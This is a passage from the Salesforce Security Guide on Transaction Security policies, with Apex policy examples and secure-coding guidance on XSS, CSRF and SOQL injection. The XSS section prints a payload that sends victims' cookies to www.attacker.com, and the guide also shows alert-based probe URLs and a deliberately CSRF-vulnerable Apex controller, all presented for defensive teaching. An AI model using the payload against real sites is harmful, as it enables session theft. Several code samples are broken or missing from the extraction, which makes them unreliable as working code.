Only an active user assigned the System Administrator profile can use this feature.

EDITIONS

1. Enable transaction security policies to make them available for use.

Available in: Salesforce
Classic and Lightning
Experience

a. From Setup, enter Transaction Security in the Quick Find box, then select
Transaction Security Policies.
b. Click Enable.
When you enable Transaction Security, two policies are created: Concurrent User Session Limit
and Lead Data Export. For more information and examples, see Transaction Security Policies
on page 6.
2. Set the Transaction Security preferences for your org.
a. On the Transaction Security Policies page, click Edit Preferences.
b. Select When users exceed the maximum number of Salesforce sessions allowed,
close the oldest session.
Login policies affect programmatic access and access from Salesforce Classic and Lightning
Experience. When you create a policy that limits the number of concurrent user sessions, all
sessions count toward that limit. Regular logins with a username and password, logins by web
applications, logins using Authentication Providers, and all other login types are considered.
The session limit isn’t a problem in Salesforce Classic or Lightning Experience because you’re
prompted to select which session or sessions to end. That choice isn’t available from within a
program, so the program receives a Transaction Security exception that the session limit has
been reached.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

USER PERMISSIONS
User Permissions Needed
To create, edit, and manage
transaction security policies:
• Customize Application
To manage transaction
security policies:
• Author Apex

To prevent this problem, select When users exceed the maximum number of Salesforce
sessions allowed, close the oldest session. Then when a programmatic request is made
that exceeds the number of sessions allowed, older sessions are ended until the session count is below the limit. The setting also
works for logins from the UI. Instead of being asked to select a session to end, the oldest session is automatically ended, and the
new login proceeds for the new session. Here’s how the OAuth flows handle login policies with and without the preference being
set.
Flow Type

Action If Preference Is Selected

OAuth 2.0 web server

Authorization Code and Access Token granted

OAuth 2.0 user-agent

Access Token granted

Action If Preference Is Not Selected

Authorization Code granted, but Access Token
Older sessions are ended until you’re within policy not granted
compliance.
Older sessions are ended until you’re within policy
compliance.
Access Token granted

Older sessions are ended until you’re within policy Older sessions are ended until you’re within policy
compliance.
compliance.
OAuth 2.0 refresh token
flow

Access Token granted

TXN_SECURITY_END_SESSION exception

Older sessions are ended until you’re within policy
compliance.

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Flow Type

Transaction Security Policies

Action If Preference Is Selected

OAuth 2.0 JWT bearer token Access Token granted

Action If Preference Is Not Selected
TXN_SECURITY_END_SESSION exception

Older sessions are ended until you’re within policy
compliance.
OAuth 2.0 SAML bearer
assertion

Access granted

OAuth 2.0 username and
password

Access granted

SAML assertion

Not applicable

TXN_SECURITY_END_SESSION exception

Older sessions are ended until you’re within policy
compliance.
Access denied due to more than the number of
Older sessions are ended until you’re within policy sessions allowed by the policy
compliance.
Not applicable

For more information on authentication flows, see Authenticate Apps with OAuth in Salesforce Help.

Create Transaction Security Policies
Create your own custom policies, triggered by specific events. Only an active user assigned the
System Administrator profile can use this feature.

EDITIONS

You can create multiple policies for the same type of event, but we recommend that your policies
and their actions don't overlap. If multiple policies with the same action for a given event execute
when the event occurs, their order of execution is indeterminate.

Available in: Salesforce
Classic and Lightning
Experience

1. From Setup, enter Transaction in the Quick Find box, select Transaction Security
Policies, and then click New.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

2. If you are participating in the Real-Time Events pilot, select whether you want to create a policy
with the Condition Builder wizard or with an Apex class. If you’re not in the pilot, skip to step
3.
3. Select the event or entity that your policy monitors.
Note: AccessResource event policies don't trigger when Dashboard Subscriptions send
an email. These policies still trigger when users access resources directly from a dashboard.
Lightning Experience supports only the Feed Comment and Feed Item resources, while
Salesforce Classic supports all Chatter resources. You can’t create a Data Export event
policy for joined reports, historical reports, or custom report types.
4. If you’re creating an Apex policy, in Apex Class, select New Empty Apex Class unless you have
an existing policy condition to use.
Transaction Security creates a stub, or placeholder, Apex policy condition. You’ll expand it after
creating the policy.
5. Next select what the policy is to do when triggered, who is to be notified and how, and the
user that the policy executes as. The user selected for Execute Policy As must have
the System Administrator profile.

237

Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

USER PERMISSIONS
User Permissions Needed
To create, edit, and manage
transaction security policies:
• Customize Application
To manage transaction
security policies:
• Author Apex

Salesforce Security Guide

Transaction Security Policies

The actions available vary depending on the event type. For login and resource events, you can also block the action or require a
higher level of access control with two-factor authentication. For Chatter events, you can freeze the user or block the post. For Login
events, you can require ending an existing session before continuing with the current session. You can set the default action for
ending a session to always close the oldest session.
Note: Two-factor authentication is not available in the Salesforce app or Lightning Experience for the Resource Access event
type. The Block action is used instead.
6. Choose a descriptive name for your policy. Your policy name can contain only underscores and alphanumeric characters, and must
be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
7. Click Finish.
If you didn’t select an existing Apex class for your new policy, modify the generated Apex class now, before activating your policy. Click
the Apex class name to get started and add the condition that triggers the policy. See Apex Policies for Transaction Security for examples.

Apex Policies for Transaction Security
Every Transaction Security policy must implement the Apex
TxnSecurity.PolicyCondition interface.

EDITIONS

If you didn’t specify a condition value before you generated the Apex interface for a policy, you can
add the condition later. To change the condition, you can edit the Apex code to include a condition
before you activate your policy. If you don’t include a condition, your policy isn’t triggered.

Available in: Salesforce
Classic and Lightning
Experience

Don’t include DML statements in your custom policies because they can cause errors. When you
send a custom email via Apex during transaction policy evaluation, you get an error, even if the
record is not explicitly related to another record. For more information, see Apex DML Operations
in the Apex Developer Guide.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

When you delete a transaction security policy, your TxnSecurity.PolicyCondition
implementation isn’t deleted. You can reuse your Apex code in other policies.
IN THIS SECTION:
Apex Transaction Security Implementation Examples
Here are examples of various Apex transaction security implementations.

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Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

Salesforce Security Guide

Transaction Security Policies

Apex Transaction Security Implementation Examples
Here are examples of various Apex transaction security implementations.

EDITIONS

Multiple Logins
Example: This example implements a policy that is triggered when someone logs in from
different IP addresses in the past 24 hours.
global class LoginPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
AggregateResult[] results = [SELECT SourceIp
FROM LoginHistory
WHERE UserId = :e.userId
AND LoginTime =
LAST_N_DAYS:1
GROUP BY SourceIp];
if(!results.isEmpty() && results.size() > 1) {
return true;
}
return false;
}
}

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Requires purchasing
Salesforce Shield or
Salesforce Event Monitoring
add-on subscriptions.

Logins from a Specific IP Address
Example: This example implements a policy that is triggered when a session is created from a specific IP address.
global class SessionPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
LoginHistory eObj = [SELECT SourceIp FROM LoginHistory WHERE Id =
:e.data.get('LoginHistoryId')];
if (eObj.SourceIp == '1.1.1.1') {
return true;
}
return false;
}
}

Data Export
Example: This example implements a policy that triggers when more than 1,000 leads are exported, for example, by the Data
Loader. EntityName is a field in the event e that contains the name of the entity, such as Account or Contact.
global class LeadExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
String entityName = e.data.get('EntityName');
if ('Lead'.equals(entityName) && numberOfRecords > 1000) {
return true;
}

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return false;
}
}

Report Access
Example: This policy is triggered when someone accesses a report.
global class ReportsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' ){
return true;
}
return false;
}
}

Connected App Access
Example: This policy is triggered when someone accesses a connected app.
global class ConnectedAppsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' && (e.entityId == '0CiD00000004Cce')){
return true;
}
return false;
}
}

Localhost Login
Example: This example uses the IP address in a login policy. The policy is triggered when there’s a login from localhost.
From the Transaction Security Policies page, create a policy to block localhost logins. Here is the generated Apex policy:
global class BlockLocalhostLoginPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
// Get the LoginHistoryId to in turn select the SourceIp address.
String loginHistoryId = e.data.get('LoginHistoryId');
// Retrieve SourceIp from LoginHistory.
LoginHistory eObj =
[SELECT SourceIp FROM LoginHistory WHERE id = :e.data.get('LoginHistoryId')];
// If the Source IP is localhost (127.0.0.1), trigger the policy and return true.
if(eObj.SourceIp == '127.0.0.1') {
return true;
}
return false;
}
}

Large Data Transfer

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Example: This policy triggers when 2,000 records or more are downloaded via the API.
An admin or other customer with API privileges can download all customer data in bulk using SOAP API, REST API, or Bulk API. This
security policy restricts API-based data downloads to 2,000 records and alerts the admin with a real-time notification if the policy
is triggered.
global class DataLoaderExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
Boolean isApi = Boolean.valueOf(e.data.get('IsApi')) { // For any API request...
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
if (isApi && numberOfRecords >= 2000) {
return true;
}
return false;
}
}
}

Confidential Data Access
Example: This policy requires everyone to use two-factor authentication before accessing a specific report.
You can have sensitive, confidential data in your quarterly Salesforce reports. You also want to ensure that teams accessing those
reports use two-factor authentication (2FA) for high assurance before viewing this data. The policy makes 2FA a requirement, but
you can’t provide high-assurance sessions until your teams have a way to meet the 2FA requirements. As a prerequisite, first set
up 2FA in your Salesforce environment.
This example highlights the capability of a policy to enforce 2FA for a specific report. The report defined here is any report with
“Quarterly Report” in its name. Anyone accessing the report is required to have a high-assurance session using 2FA.
global class ConfidentialDataPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if (e.resourceType == 'Dashboard') {
// If the event is about Dashboards...
Dashboard dashboard =
[SELECT DeveloperName FROM Dashboard WHERE id = :e.entityId];
String name = String.valueOf(dashboard.DeveloperName);
// Check if this is a quarterly report.
if (name.containsIgnoreCase('Quarterly Report')) {
return true;
}
}
return false;
}
}

Browser Check
Example: This policy triggers when a user with a known operating system and browser combination tries to log in with another
browser on a different operating system.
Many organizations have standard hardware and support specific versions of different browsers. You can use this standard to
reduce the security risk for high impact individuals by acting when logins take place from unusual devices. For example, your CEO
typically logs in from San Francisco using a MacBook or Salesforce mobile application on an iPhone to Salesforce. When a login

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occurs from elsewhere using a Chromebook, it’s highly suspicious. Because hackers do not necessarily know which platforms
corporate executives use, this policy makes a security breach less likely.
In this example, the customer organization knows that their CEO is using a MacBook running OS X with the Safari browser. Any
attempt to log in using the CEO’s credentials with anything else is automatically blocked.
global class CeoBrowserAccessPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// If it's a Login attempt from our CEO's user account.
if (e.action == 'Login' && e.userId == '005x0000005VmCu') {
// Get the platform & browser from LoginHistory for this login attempt.
LoginHistory loginAttempt =
[SELECT Platform, Browser FROM LoginHistory
WHERE Id = :e.data.get('LoginHistoryId')];
String platform = loginAttempt.Platform;
String browser = loginAttempt.Browser;
// The policy is triggered when the CEO isn’t using Safari on Mac OSX.
if (!platform.equals('Mac OSX') || !browser.startsWith('Safari')) {
return true;
}
}
return false;
}
}

Block Logins by Country
Example: This policy blocks access by country.
Your organization could have remote offices and a global presence but, due to international law, wants to restrict access to its
Salesforce org.
This example builds a policy that blocks users logging in from North Korea. If users are in North Korea but using a corporate VPN,
their VPN gateway would be in Singapore or the United States. The VPN gateway would make their login successful because
Salesforce would see the internal U.S.-based company IP address.
global class BlockAccessFromNKPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
// Get the login history.
LoginHistory loginAttempt =
[SELECT LoginGeoId FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
// Get the login's geographical info.
String loginGeoId = String.valueOf(loginAttempt.LoginGeoId);
LoginGeo loginGeo = [SELECT Country FROM LoginGeo WHERE Id = :loginGeoId];
// Get the country at that location.
String country = String.valueOf(loginGeo.Country);
// Trigger policy and block access for any user trying to log in from North Korea.
if(country.equals('North Korea')) {
return true;
}
return false;

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}
}

You can also restrict access to other values, like postal code or city.
Block an Operating System
Example: This policy blocks access for anyone using an older version of the Android OS.
You’re concerned with a specific mobile platform’s vulnerabilities and its ability to capture screen shots and read data while
accessing Salesforce. If the device is not running a security client, you could restrict access from device platforms using operating
systems with known and well-identified vulnerabilities. This policy blocks devices using Android 5.0 or earlier.
global class BlockOldAndroidDevicesPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
LoginHistory loginAttempt =
[SELECT Platform FROM LoginHistory WHERE Id = :e.data.get('LoginHistoryId')];
if (loginAttempt != null) {
String platform = loginHistory.Platform;
if (platform.contains('Android') && platform.compareTo('Android 5') < 0) {
return true;
}
}
return false; // Allow access from Android versions greater than 5.
}
}

Block Specific Content
Example: This policy blocks a specified word by searching posted Chatter text.
You can scan or filter for specific words in posts. This example looks for a post containing the word “Salesforce” and blocks those
posts. You can also write conditions that loop through a list of words or keep a running total of the occurrence of the words.
global class ChatterMessageWordFilterPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event event) {
String body = event.data.get('Body');
if(body.containsIgnoreCase('Salesforce')) {
return true;
}
return false;
}
}

Note: If you’re comparing the contents of the entire post, don’t use the equals string method. Instead use contains
or containsIgnoreCase, as shown here. If the Chatter settings allow emoticons or rich text, those items are included
in the Chatter post’s body. For example, with rich text, the post “This is text.” could be stored as “This
is text.”. If you use the equals method, the embedded tags prevent your otherwise identical comparison
text from matching the post body.
Block Profanity

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Example: This policy blocks profanity by using an external service.
Advertisers and spammers often post messages to successful communities at high rates to increase their chances of people clicking
their links. The links can include unwanted content. You can use technologies outside of Salesforce to scan or filter content based
on these different services.
This policy executes an API callout to see if the content is compliant, and uses a service that blocks commonly accepted English
profanity as specified at www.purgomalum.com/profanitylist.
global class ChatterMessageProfanityFilterPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
String body = e.data.get('Body');
//Create HTTPRequest and specify its type and properties.
HttpRequest request = new HttpRequest();
request.setMethod('GET');
request.setHeader('content-type', 'text/plain');
request.setHeader('Connection', 'keep-alive');
request.setEndpoint('http://www.purgomalum.com/service/containsprofanity?text=' +
EncodingUtil.urlEncode(body,'UTF-8'));
Http http = new Http();
HTTPResponse response = http.send(request);
if (response.getStatusCode() == 200 && response.getBody().equals('true')) {
return true; // Callout succeeded and found profanity in the message.
}
return false; // Callout failed or no profanity was found.
}
}

Note: If an API callout’s elapsed execution time exceeds 3 seconds, the user is denied access to the resource or entity. For
more information, see Transaction Security Metering.
Block a Connected App
Example: This policy blocks a connected app with API access from accessing large amounts data.
Sometimes connected apps have API privileges to access data org-wide due to sharing or account access settings definitions.
However, the end user of the connected app is restricted to only a specific dataset. This conflict can result in an increased security
risk by identifying the API key and performing command-line searches directly in the database to look for leads. The following
policy avoids this situation and data loss around your company’s lead information.
global class DataLoaderLeadExportPolicyCondition implements TxnSecurity.PolicyCondition
{
public boolean evaluate(TxnSecurity.Event e) {
if (Boolean.valueOf(e.data.get('IsApi'))) {
// The event data is a Map. We need to call the
// valueOf() method on appropriate data types to use them here.
String resourceType
= e.data.get('resourceType');
String connectedAppId
= e.data.get('ConnectedAppId');
Integer numberOfRecords
= Integer.valueOf(e.data.get('NumberOfRecords'));
Integer executionTimeMillis = Integer.valueOf(e.data.get('ExecutionTime'));

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// We're looking for leads accessed by a specific connected app that is
// transferring more than 2,000 records a second - a large transfer.
if ('Lead'.equals(resourceType) &&
'0CiD00000004Cce'.equals(connectedAppId) &&
numberOfRecords > 2000 &&
executionTimeMillis > 1000) {
return true;
}
}
return false;
}
}

Security Guidelines for Apex and Visualforce Development
Understand and guard against vulnerabilities in your code as you develop custom applications.

EDITIONS

Understanding Security

Available in: Salesforce
Classic (not available in all
orgs)

The powerful combination of Apex and Visualforce pages allow Lightning Platform developers to
provide custom functionality and business logic to Salesforce or create a completely new stand-alone
product running inside the Lightning platform. However, as with any programming language,
developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Lightning platform itself. However,
careless developers can still bypass the built-in defenses in many cases and expose their applications
and customers to security risks. Many of the coding mistakes a developer can make on the Lightning
platform are similar to general Web application security vulnerabilities, while others are unique to
Apex.

Available in: Group,
Professional, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
Visualforce is not available
in Database.com.

To certify an application for AppExchange, it’s important that developers learn and understand the
security flaws described here. For additional information, see the Lightning Platform Security Resources page on Salesforce Developers
at https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Lightning Platform page using a script component, an on* event, or a
Visualforce page.

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This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Lightning platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.

Existing Protection
All standard Visualforce components, which start with , have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.

{!$CurrentPage.parameters.userInput}

Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:

Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.

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Custom JavaScript
If you write your own JavaScript, the Lightning platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.

The Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.

Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include
a user's session ID in a link, they could create the link using the following syntax:

Go to portal

Which renders output similar to the following:
Go to portal

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions
are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This
can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable
data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created
by the use of the {!$Request.*} expression to access request parameters.

{!$Request.title}

Hello world!

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

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results in the output:
AdiosHello
world!

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of
the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE()
calls.

{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}

Hello world!

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts,
can vary. For instance, this statement:

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is
probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:

Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included
HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:

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• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Lightning platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.

public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CRSF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection

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SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.

EXIF.tools

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